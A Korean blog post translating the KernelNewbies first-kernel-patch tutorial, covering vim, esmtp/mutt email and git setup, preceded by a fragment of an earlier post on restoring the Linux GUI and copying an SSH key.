๋งŒ์•ฝ ํ•„์š”ํ•  ๊ฒฝ์šฐ์—๋Š” ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋กœ gui๋ฅผ ๋‹ค์‹œ ํ™œ์„ฑํ™” ํ•ด์ฃผ๋„๋ก ํ•˜์ž.

bash
sudo systemctl set-default graphical.target

SSH ์ž๋™๋กœ๊ทธ์ธ

bash
scp ~/.ssh/id_rsa.pub <๊ณ„์ •๋ช…>@<ip>:~/.ssh/authorized_keys

File: _posts/2019-10-5-linux70.md


layout: post title: KernelNewbies - FirstKernelFetch date: 2019-10-5 20:24:54 +0900 categories: [unix, linux, development]

Before we begin

๋ณธ ๊ฒŒ์‹œ๊ธ€์€ https://kernelnewbies.org/FirstKernelPatch ์„ ๋ฒˆ์—ญํ•œ ๊ธ€์ž…๋‹ˆ๋‹ค. ๋ณธ ๋ฒˆ์—ญ๊ธ€๊ณผ ๊ด€๋ จํ•˜์—ฌ ๋ฌธ์ œ๊ฐ€ ์žˆ์œผ์‹œ๋‹ค๋ฉด [email protected] ์œผ๋กœ ์ด๋ฉ”์ผ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.
This post is a translated post which is at https://kernelnewbies.org/FirstKernelPatch. If you think that there's any problem with this translated post, please contact me via my email .

100% ์ •ํ™•ํ•œ ๋ฒˆ์—ญ๋ณด๋‹ค๋Š” ์ดํ•ดํ•˜๊ธฐ ์‰ฌ์šด ์˜์—ญ์„ ์ถ”๊ตฌํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜์–ด ์‹ค๋ ฅ์ด ํ›Œ๋ฅญํ•˜์ง€ ์•Š์€ ๊ด€๊ณ„๋กœ ๋‹ค์ˆ˜์˜ ์˜ค์—ญ์ด ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์–‘ํ•ด๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

์†Œ๊ฐœ

์ด ํŠœํ† ๋ฆฌ์–ผ์€ ์–ด๋–ป๊ฒŒ ์ฒซ ํŒจ์น˜๋ฅผ ์ œ์ถœ ํ•  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•ด ๋‹ค๋ฃน๋‹ˆ๋‹ค. ์ด ํŠœํ† ๋ฆฌ์–ผ์„ ์œ„ํ•ด ์ด ์„ธ๊ฐ€์ง€์ค‘ ํ•˜๋‚˜๋ฅผ ํ•ด์•ผ ํ•˜๋Š”๋ฐ์š”.

  1. ๋ฆฌ๋ˆ…์Šค๋ฅผ ๊ฐ€์ƒ๋จธ์‹ ์—์„œ ๊ตฌ๋™ํ•˜๊ธฐ
  2. ๋ฆฌ๋ˆ…์Šค๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ ํ™˜๊ฒฝ์—์„œ ๊ตฌ๋™ํ•˜๊ธฐ
  3. ๋ฆฌ๋ˆ…์Šค์—์„œ ๋ฆฌ๋ˆ…์Šค๋ฅผ ๊ฐ€์ƒ๋จธ์‹ ์œผ๋กœ ๊ตฌ๋™ํ•˜๊ธฐ

์ €๋Š” ๋ฆฌ๋ˆ…์Šค๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ๊ตฌ๋™ํ•˜๋Š”๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ๊ฐœ๋ฐœ์ž๋“ค์ด ๋ฆฌ๋ˆ…์Šค๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ๊ตฌ๋™ํ•˜๊ณ ์žˆ๊ณ , ๊ทธ๋ž˜์„œ ์ต์ˆ™ํ•ด์ง€๋Š”๊ฒƒ์ด ๋‚ซ์Šต๋‹ˆ๋‹ค.
๋ฆฌ๋ˆ…์Šค๋ฅผ ๊ฐ€์ƒ๋จธ์‹ ์—์„œ ๊ตฌ๋™ํ•˜๊ณ  ์‹ถ์œผ์‹œ๋‹ค๋ฉด, ๋ณธ ๊ฒŒ์‹œ๊ธ€ ์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”. (์ด ๊ฒŒ์‹œ๊ธ€์˜ ๋ฒˆ์—ญ๋ณธ๋„ ์กฐ๋งŒ๊ฐ„ ์—…๋กœ๋“œ ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.)
์•Œ์•„๋‘์…”์•ผ ํ•  ์ ์€, ๋งฅ์—์„œ๋Š” ๋ฆฌ๋ˆ…์Šค๋ฅผ ์ปดํŒŒ์ผ ํ•  ์ˆ˜ ์—†๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด ๋งฅ์˜ ํŒŒ์ผ์‹œ์Šคํ…œ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š๊ฑฐ๋“ ์š”.

์ด ํŠœํ† ๋ฆฌ์–ผ์—์„œ๋Š” ๋…์ž๊ฐ€ Ubuntu ๋‚˜ Debian์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ์— Fedora๋‚˜ Suse, Arch, Gentoo ๋“ฑ์˜ ๋ฐฐํฌํŒ์„ ์‚ฌ์šฉํ•˜๊ณ  ๊ณ„์‹œ๋‹ค๋ฉด ํŒจํ‚ค์ง€ ์„ค์น˜ ๋ช…๋ น์–ด ํ˜น์€ ํŒจํ‚ค์ง€ ์ด๋ฆ„์ด ์กฐ๊ธˆ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ง„ํ–‰ํ•˜๋‹ค๊ฐ€ ๋ง‰ํ˜€์„œ ๋„์›€์ด ํ•„์š”ํ•˜์‹œ๋‹ค๋ฉด irc.oftc.net์˜ #kernelnewbies ์—์„œ ๋„์›€์„ ์š”์ฒญํ•˜์„ธ์š”. ์—ฌ๋‹ด์œผ๋กœ, kernelnewbies์˜ ๋ด‰์‚ฌํ™œ๋™์— ์ง€์›ํ•˜๊ณ  ์‹ถ์œผ์‹œ๋‹ค๋ฉด irc.oftc.net์˜ #kernel-outreach ์—์„œ ๋ฌผ์Œ์„ ๊ตฌํ•ด๋ณด์„ธ์š”.

์ถ”๊ฐ€์ ์œผ๋กœ, irc.oftc.net์„ ํ†ตํ•ด ๋ฌผ์Œ์„ ๊ตฌํ• ๋•Œ๋Š”, ๋‹ค์šด๋กœ๋“œ ์ œํ•œ์ด ์—†๊ณ , ์•ˆ์ •์ ์ธ ์ธํ„ฐ๋„ท ์—ฐ๊ฒฐ์ธ ์ƒํƒœ์—์„œ ์‹œ๋„ํ•˜๋Š”๊ฒƒ์„ ๊ฐ•๋ ฅํžˆ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. IRC๋ฅผ ํ†ตํ•œ ํ†ต์‹ ์€ ์ธํ„ฐ๋„ท์ด ๊ณ„์† ์ง€์—ฐ๋˜๊ฑฐ๋‚˜ ๋Š๊ธฐ๊ฒŒ ๋˜๋ฉด ์–ด๋ ค์šธ์ˆ˜ ์žˆ๊ฑฐ๋“ ์š”. ๊ทธ๋ž˜์„œ ์•ˆ์ •์ ์ธ ์ธํ„ฐ๋„ท ์—ฐ๊ฒฐ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. ์ฒ˜์Œ ์ปค๋„์„ ๋‹ค์šด๋กœ๋“œ๋ฅผ ํ•˜๋Š”๊ฒƒ์€ 5๊ธฐ๊ฐ€๊ฐ€ ๋„˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ• ํ…Œ๋‹ˆ ์œ ์„ ์ธํ„ฐ๋„ท์ด๋‚˜ ๋ฌด์ œํ•œ ์ธํ„ฐ๋„ท ์š”๊ธˆ์ œ๋ฅผ ํ†ตํ•ด ๋‹ค์šด๋กœ๋“œ ํ•˜๋Š”๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

๊ฐœ์š”

์ด ํŠœํ† ๋ฆฌ์–ผ์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€๊ฒƒ๋“ค์„ ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ•˜๋Š”์ง€ ๋‹ค๋ฃน๋‹ˆ๋‹ค.

  • ๋„๊ตฌ ์„ค์ •ํ•˜๋Š” ๋ฒ•
  • ์ปค๋„ ํŠธ๋ฆฌ(์ปค๋„ ๊ตฌ์กฐ) ์‚ดํŽด๋ณด๊ธฐ
  • git ๊ธฐ์ดˆ
  • ๋‚ด ์ปค๋„์„ ์—…๋ฐ์ดํŠธ ํ•˜๋Š” ๋ฐฉ๋ฒ•
  • ๋“œ๋ผ์ด๋ฒ„์— ๋ณ€๊ฒฝ์‚ฌํ•ญ ๋งŒ๋“ค๊ธฐ
  • ์ฒซ ํŒจ์น˜ ๋งŒ๋“ค๊ธฐ
  • ์ž˜๋œ ํŒจ์น˜ ์‚ฌ๋ก€๋“ค์„ ์ดํ•ดํ•˜๊ธฐ
  • ์—†์•จ ๋“œ๋ผ์ด๋ฒ„ ์ฐพ๊ธฐ
  • ๋ณ€๊ฒฝ์‚ฌํ•ญ ์ปค๋ฐ‹ํ•˜๊ธฐ
  • ํŒจ์น˜ ์ œ์ถœํ•˜๊ธฐ
  • ๋ฉ˜ํ† ์—๊ฒŒ ํŒจ์น˜๋ฅผ ๋ณด๋‚ด๊ธฐ
  • ์ด๋ฉ”์ผ์— ๋‹ต์žฅํ•˜๊ธฐ
  • ๋‚ด ํŒจ์น˜ ์ˆ˜์ •ํ•˜๊ธฐ
  • ํŒจ์น˜๋ชจ์Œ(patchset)์„ ์ œ์ถœํ•˜๊ธฐ

๋„๊ตฌ ์„ค์ •ํ•˜๋Š” ๋ฒ•

์‹œ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด ๋ช‡๊ฐ€์ง€ ์†Œํ”„ํŠธ์›จ์–ด๋“ค์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์„ค์น˜ํ•˜๊ณ  ์„ค์ •ํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„ค์ • ์ง€์‹œ์‚ฌํ•ญ๋ฅผ ๋”ฐ๋ผํ•ด๋ณด์„ธ์š”.

vim ์„ค์ •

(์ด๋ฏธ ๋ฆฌ๋ˆ…์Šค๋ฅผ ์„ค์น˜ํ•˜์…จ๊ณ  emacs๋‚˜ nano๊ฐ™์€ ์—๋””ํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๋ฐ์— ์ต์ˆ™ํ•ด์ง€์…จ๋‹ค๋ฉด, ๊ณ„์† ๊ทธ ์—๋””ํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜์…”๋„ ๋˜๋‹ˆ ์ด ๋ชฉ์ฐจ๋Š” ์ƒ๋žตํ•˜์…”๋„ ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ gvim์€ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.)

ํŒ

Vim์€ ๋ช‡๊ฐ€์ง€์˜ ๋ชจ๋“œ๋ฅผ ๊ฐ–๊ณ ์žˆ๋Š” ๊ฐ„๋‹จํ•œ ํ…์ŠคํŠธ ์—๋””ํ„ฐ์ž…๋‹ˆ๋‹ค. ์ฒ˜์Œ์—๋Š” Standard ๋ชจ๋“œ์—์„œ ์‹œ์ž‘ํ•˜๊ณ , jํ‚ค๋‚˜ kํ‚ค, ํ˜น์€ ๋ฐฉํ–ฅํ‚ค๋กœ ์ปค์„œ๋ฅผ ์œ„์•„๋ž˜๋กœ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ๊ณ , hํ‚ค๋‚˜ lํ‚ค, ํ˜น์€ ๋ฐฉํ–ฅํ‚ค๋กœ ์ปค์„œ๋ฅผ ์™ผ์ชฝ ์˜ค๋ฅธ์ชฝ์œผ๋กœ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. iํ‚ค๋ฅผ ์ž…๋ ฅํ•จ์œผ๋กœ์จ Insert ๋ชจ๋“œ๋กœ ๋“ค์–ด ๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ œ ํ…์ŠคํŠธ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์–ด์š”. ESC๋กœ ๋‹ค์‹œ Standard๋ชจ๋“œ๋กœ ๋Œ์•„๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŒŒ์ผ์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š”, Standard๋ชจ๋“œ๋กœ ๋“ค์–ด๊ฐ€์„œ :w(์—”ํ„ฐ) ๋ฅผ ํƒ€์ดํ•‘ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. vim์„ ๋‚˜๊ฐ€๊ธฐ ์œ„ํ•ด์„œ๋Š” :q(์—”ํ„ฐ) ๋ฅผ ๋ˆ„๋ฅด๋ฉด ๋˜๊ณ ์š”. vim์— ๋Œ€ํ•˜์—ฌ ๋” ์•Œ๊ณ ์‹ถ๋‹ค๋ฉด ๊ฝค ์žฌ๋ฐŒ๋Š” ๊ฒŒ์ž„์ธ VIM adventures game์„ ํ•ด๋ณด์„ธ์š”.

๋จผ์ €, ๋“ค์—ฌ์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ์ผœ์•ผํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์„ ํ‚ค๋Š”๊ฒƒ์€ ์ค„๋“ค์ด ์ฝ”๋“œ์˜ ๋…ผ๋ฆฌ์ ์ธ ํ๋ฆ„์— ๋”ฐ๋ผ ์ž๋™์ ์œผ๋กœ ๋“ค์—ฌ์“ฐ๊ธฐ ๋ ๊ฒƒ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ํƒญํ‚ค๋ฅผ ๋ˆ„๋ฅด๋Š” ํšŸ์ˆ˜๋ฅผ ์ค„์ผ ์ˆ˜ ์žˆ๊ฒ ์ฃ ? ํŒŒ์ผํƒ€์ž…์— ๊ธฐ๋ฐ˜ํ•˜์—ฌ ์ž๋™ ๋“ค์—ฌ์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ์ผค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋จผ์ €, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”.

bash
vim ~/.vimrc

๊ทธ๋ฆฌ๊ณ ๋Š” ์ด๋Ÿฐ ๋‚ด์šฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”.

text
filetype plugin indent on

์ถ”๊ฐ€์ ์œผ๋กœ, ๋ฌธ๋ฒ•์— ๋”ฐ๋ผ ์ƒ‰์œผ๋กœ ๊ฐ•์กฐ๋ฅผ ํ•ด์ฃผ๋Š” ๊ธฐ๋Šฅ๊ณผ ํŒŒ์ผ์ด๋ฆ„์„ ํ„ฐ๋ฏธ๋„์˜ ํƒ€์ดํ‹€๋ฐ”์— ํ‘œ์‹œํ•˜๊ธฐ๋ฅผ ์›ํ•œ๋‹ค๋ฉด ์ด ๋‚ด์šฉ๋„ ์ถ”๊ฐ€ํ•˜์„ธ์š”.

text
syntax on
set title

๋Œ€๋ถ€๋ถ„์˜ ๋ฐฐํฌํŒ์€ vim์„ ์ปดํŒŒ์ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— 8 ์ŠคํŽ˜์ด์Šค ํƒญ์ด ๊ธฐ๋ณธ๊ฐ’์ธ๋ฐ์š”, ๊ธฐ๋ณธ๊ฐ’์ด ์•„๋‹ ๊ฒฝ์šฐ์—๋Š” .vimrc ๋‹ค์Œ์˜ ๋‚ด์šฉ๋„ ์ถ”๊ฐ€ํ•˜์„ธ์š”.

text
set tabstop=8
set softtabstop=8
set shiftwidth=8
set noexpandtab

์ด ๋‚ด์šฉ๋“ค์€ ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ vim์—์„œ ์‹คํ–‰ํ•˜๋Š”๊ฒƒ๊ณผ ๊ฐ™์€ ๊ธฐ๋Šฅ์„ ํ•ฉ๋‹ˆ๋‹ค.

text
:set tabstop=8 softtabstop=8 shiftwidth=8 noexpandtab

Vim์„ ๊ธฐ๋ณธ ์—๋””ํ„ฐ๋กœ ์„ค์ •ํ•˜๊ธฐ

nano ๋Œ€์‹ ์— vim์„ ๊ธฐ๋ณธ ์—๋””ํ„ฐ๋กœ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์‹œํ•œ๋ฒˆ ๋งํ•˜์ง€๋งŒ, vim์ด ์•„๋‹Œ ๋‹ค๋ฅธ ์—๋””ํ„ฐ๋ฅผ ์‚ฌ์šฉ์ค‘์ด์‹œ๋ผ๋ฉด ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ƒ๋žตํ•˜์…”๋„ ๋ฉ๋‹ˆ๋‹ค.

bash
sudo update-alternatives --config editor

๊ทธ ๋‹ค์Œ์— /usr/bin/vim.basic์„ ๊ธฐ๋ณธ ์—๋””ํ„ฐ๋กœ ์„ค์ •ํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ด๋ฉ”์ผ ์„ค์ •ํ•˜๊ธฐ

๋ฆฌ๋ˆ…์Šค ์ปค๋„ ํŒจ์น˜๋ฅผ ๋ณด๋‚ด๋ ค๋ฉด, ๋ฆฌ๋ˆ…์Šค ์ปดํ“จํ„ฐ์—์„œ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์–ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” Esmtp๊ฐ€ ํ•„์š”ํ•œ๋ฐ์š”. ๋ฆฌ๋ˆ…์Šค๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ์„ค์น˜ํ• ๋•Œ์˜ ์ง€์‹œ์‚ฌํ•ญ ์„ ๋”ฐ๋ผ ํ•˜์‹ ๋‹ค๋ฉด Esmtp์„ค์ •๋„ ํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (์ด ๊ฒŒ์‹œ๊ธ€์˜ ๋ฒˆ์—ญ๋ณธ๋„ ์กฐ๋งŒ๊ฐ„ ์—…๋กœ๋“œ ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.)
Esmtp๋Š” ๋ฉ”์ผ ์ „์†ก ์—์ด์ „ํŠธ์ž…๋‹ˆ๋‹ค. ์ด๋ฉ”์ผ์„ gmail๊ณผ ๊ฐ™์€ ์ด๋ฉ”์ผ์— ๋ผ์šฐํŒ…ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ํ•˜์ฃ . esmtp์— ์–ด๋–ค ์ •๋ณด๋ฅผ ์ฃผ์–ด์•ผํ• ์ง€ ์•Œ๊ธฐ ์œ„ํ•ด์„œ๋Š”, ๋ฉ”์ผ์„œ๋ฒ„ ์„ค์ •์„ ๋ณด์•„์•ผํ•ฉ๋‹ˆ๋‹ค.
๋˜ํ•œ ์Šน์ธ๋œ ์ด๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์„ค์น˜ํ•  ํ•„์š”๊ฐ€ ์žˆ๋Š”๋ฐ์š”. ์ด ํ”„๋กœ๊ทธ๋žจ์„ ์ปค๋„ ๋ด‰์‚ฌํ™œ๋™(outreach-kernel) ๋ฉ”์ผ๋ง ๋ฆฌ์ŠคํŠธ์— ๋‹ต์žฅํ•˜๋Š”๋ฐ ์‚ฌ์šฉํ•˜์„ธ์š”. ๋’ค์˜ ์„ค๋ช…๋“ค์€ mutt ์ด๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค๋งŒ, Evolution๊ณผ ๊ฐ™์€ ๋” ์‰ฌ์šด GUI ์ด๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์‚ฌ์šฉํ•ด๋„ ์ข‹์Šต๋‹ˆ๋‹ค.

Gmail ์„ค์ •

Gmail์—์„œ๋Š” ํ†ฑ๋‹ˆ๋ฐ”ํ€ด ๋ชจ์–‘ ์•„์ด์ฝ˜์„ ๋ˆ„๋ฅด๊ณ , "์„ค์ •" -> "์ „๋‹ฌ ๋ฐ POP/IMAP" -> "IMAP ์‚ฌ์šฉ" -> "๋ณ€๊ฒฝ์‚ฌํ•ญ ์ €์žฅ" ์ˆœ์œผ๋กœ ์ง„ํ–‰ํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

Yahoo ์„ค์ •๋ฒ•๋„ ์žˆ์Šต๋‹ˆ๋‹ค๋งŒ, ํ•œ๊ตญ์—๋Š” Yahoo ์œ ์ €๊ฐ€ ์—†์œผ๋ฏ€๋กœ ์ƒ๋žตํ–ˆ์Šต๋‹ˆ๋‹ค.

Esmtp ์„ค์ •ํ•˜๊ธฐ

์•Œ์•„๋‘์‹ค์ : ๋งŒ์•ฝ ๋‹ค๋ฅธ MTA(๋ฉ”์ผ ์ „์†ก ์—์ด์ „ํŠธ)๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ๋‹ค๋ฉด, ๊ตณ์ด esmtp๋ฅผ ์„ค์น˜ํ•˜์‹ค ํ•„์š”๋Š” ์—†์Šต๋‹ˆ๋‹ค. ๋Œ€์‹ , .muttrc ํŒŒ์ผ์—์„œ "sendmail" ์ค„์˜ ๊ฒฝ๋กœ๊ฐ€ ์ž์‹ ์˜ MTA๊ฐ€ ๋˜๋„๋กํ•˜์„ธ์š”. Mutt๋Š” ssmtp๋ฅผ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์—, MTA๊ฐ€ sstmp๋ผ๋ฉด ๊ทธ ์ค„์„ ํ†ต์งธ๋กœ ๋‚ ๋ ค๋ฒ„๋ฆฌ์…”๋„ ๋ฉ๋‹ˆ๋‹ค.

๋จผ์ €, ์˜ฌ๋ฐ”๋ฅธ ๊ถŒํ•œ๊ณผ ํ•จ๊ป˜ .esmtprc ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ์‹œ๋‹ค.

bash
touch ~/.esmtprc
chmod g-rwx ~/.esmtprc
chmod o-rwx ~/.esmtprc

ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ ์•ˆ์—์žˆ๋Š” .estmprc ํŒŒ์ผ์„ ์ˆ˜์ •ํ•˜์‹œ๊ณ , ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ค„๋“ค์„ ์ถ”๊ฐ€ํ•ด์ฃผ์„ธ์š”.

text
identity "[email protected]"
hostname smtp.gmail.com:587
username "[email protected]"
password "ThisIsNotARealPassWord"
starttls required

๊ทธ ๋‹ค์Œ์—๋Š” ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ์— .muttrc ํŒŒ์ผ์„ ๋งŒ๋“ฌ์œผ๋กœ์จ mutt ๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์„ค์ •ํ•ด์ฃผ์„ธ์š”.

text
set sendmail="/usr/bin/esmtp"
set envelope_from=yes
set from="Your Name <[email protected]>"
set use_from=yes
set edit_headers=yes

์ด๋ฉ”์ผ ์„ค์ • ํ…Œ์ŠคํŠธํ•˜๊ธฐ

๊ทธ ๋‹ค์Œ์—, mutt์„ ํ†ตํ•˜์—ฌ ํ…Œ์ŠคํŠธ ์ด๋ฉ”์ผ ๋ฉ”์‹œ์ง€๋ฅผ ๋‚ ๋ ค๋ด…์‹œ๋‹ค.

text
mutt

์ง€๊ธˆ์€ ์ผ๋‹จ inbox๋ฅผ ๋งŒ๋“ ๋‹ค๋Š” ์งˆ๋ฌธ์— no๋ผ๊ณ  ๋‹ตํ•˜์„ธ์š”. 'm'์„ ๋ˆŒ๋Ÿฌ์„œ ์ƒˆ ๋ฉ”์‹œ์ง€๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”. ํ…Œ์ŠคํŠธ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ผ ์ด๋ฉ”์ผ ์ฃผ์†Œ๋ฅผ ์ ์œผ์„ธ์š”. ์ œ๋ชฉ์€ ์•Œ์•„์„œ ์ž‘์„ฑํ•˜๊ณ  ์‹ถ์€๋Œ€๋กœ ์ž‘์„ฑํ•˜์„ธ์š”. body์•ˆ์— ๋ฉ”์‹œ์ง€๋ฅผ ์ ๊ณ  ์ €์žฅํ•˜์‹ ๋’ค์— ๋‚˜๊ฐ€์„ธ์š”. ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ผ๋•Œ๋Š” 'y'ํ‚ค๋ฅผ ๋ˆ„๋ฅด์‹œ๋ฉด ๋˜๊ณ , ์ˆ˜์ •ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด 'e'ํ‚ค๋ฅผ ๋ˆ„๋ฅด์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๋ฉ”์‹œ์ง€ ์ „์†ก์„ ์ค‘๋‹จํ•˜๋ ค๋ฉด 'q'๋ฅผ ๋ˆ„๋ฅด์‹œ๋ฉด๋ฉ๋‹ˆ๋‹ค.
์ด๋ฉ”์ผ์„ ๋ฐ›์•˜๋Š”์ง€ ํ™•์ธํ•ด๋ณด์„ธ์š”.
๋งŒ์•ฝ mutt๊ฐ€ ์ž‘๋™๋˜์ง€ ์•Š๋Š”๋‹ค๋ฉด ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹œ๋„ํ•ด๋ณด์„ธ์š”.

text
mutt -d 2

์ด ๋ช…๋ น์–ด๋Š” ๋ฌธ์ œ ์ฐพ๊ธฐ๋ฅผ ๋„์™€์ฃผ๋Š” .muttdebug ๋ผ๋Š” ํŒŒ์ผ์„ ๋งŒ๋“ค๊ฒƒ์ž…๋‹ˆ๋‹ค.

(๋’ค์˜ ๋‚ด์šฉ์€ ์ถ”๊ฐ€ ๊ฒŒ์‹œ๊ธ€ ํ˜น์€ ๊ฒŒ์‹œ๊ธ€ ์ˆ˜์ •์„ ํ†ตํ•˜์—ฌ ์—…๋ฐ์ดํŠธ ๋ ๊ฒƒ์ž…๋‹ˆ๋‹ค.)

git ์„ค์ •ํ•˜๊ธฐ

์ผ๋‹จ, git์—๊ฒŒ ์ž์‹ ์˜ ์ด๋ฆ„๊ณผ ์ด๋ฉ”์ผ์„ ์•Œ๋ ค์ฃผ์–ด์•ผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์•ผ git commit์—์„œ ๋ˆ„๊ฐ€ ์ด ๋‚ด์šฉ์„ ์ž‘์„ฑํ–ˆ๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ์ฃ . .gitconfig ๋ผ๋Š” ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋’ค ์ด๋Ÿฌํ•œ ๋‚ด์šฉ๋“ค์„ ๋„ฃ์Šต๋‹ˆ๋‹ค.

text
[user]
   name = Your Name
   email = [email protected]

์ด๊ณณ์— ์ ๋Š” ์ด๋ฉ”์ผ์ด ์ด๋ฉ”์ผ ์„ค์ •ํ•˜๊ธฐ ์ž‘์—…์—์„œ ํ–ˆ๋˜๊ฒƒ๊ณผ ๋™์ผํ•œ ์ด๋ฉ”์ผ์ด ๋˜๋„๋ก ํ•˜์„ธ์š”. ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ๊ฐœ๋ฐœ์ž๋“ค์€ ์ปค๋ฐ‹ ์ •๋ณด์˜ "From" ์ด๋ฉ”์ผ๊ณผ "Signed-off-by" ์ด๋ฉ”์ผ์ด ๋‹ค๋ฅธ ํŒจ์น˜๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ด๋ฆ„ ์นธ์—๋‹ค๊ฐ€๋Š” ๋ฒ•์  ์ด๋ฆ„์„ ์ ๋„๋ก ํ•˜์„ธ์š”. ํŒจ์น˜ํ•  Signed-off-by ๋ฅผ ์ถ”๊ฐ€ํ•จ์œผ๋กœ์จ ๋‹น์‹ ์€ Developer's Certificate of Origin์„ ์ฝ๊ณ  ์ดํ•ดํ•œ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค. ์ปค๋„์— ํŒจ์น˜๋ฅผ ๋ณด๋‚ด๊ธฐ ์ „ ์ € ๋ฌธ์„œ๋ฅผ ์ฝ์–ด์ฃผ์„ธ์š”.

์ปค๋„ ํŠธ๋ฆฌ(์ปค๋„ ๊ตฌ์กฐ) ์‚ดํŽด๋ณด๊ธฐ

๋จผ์ € ํ„ฐ๋ฏธ๋„์„ ์—ด์–ด์ฃผ์„ธ์š”.

ํŒ

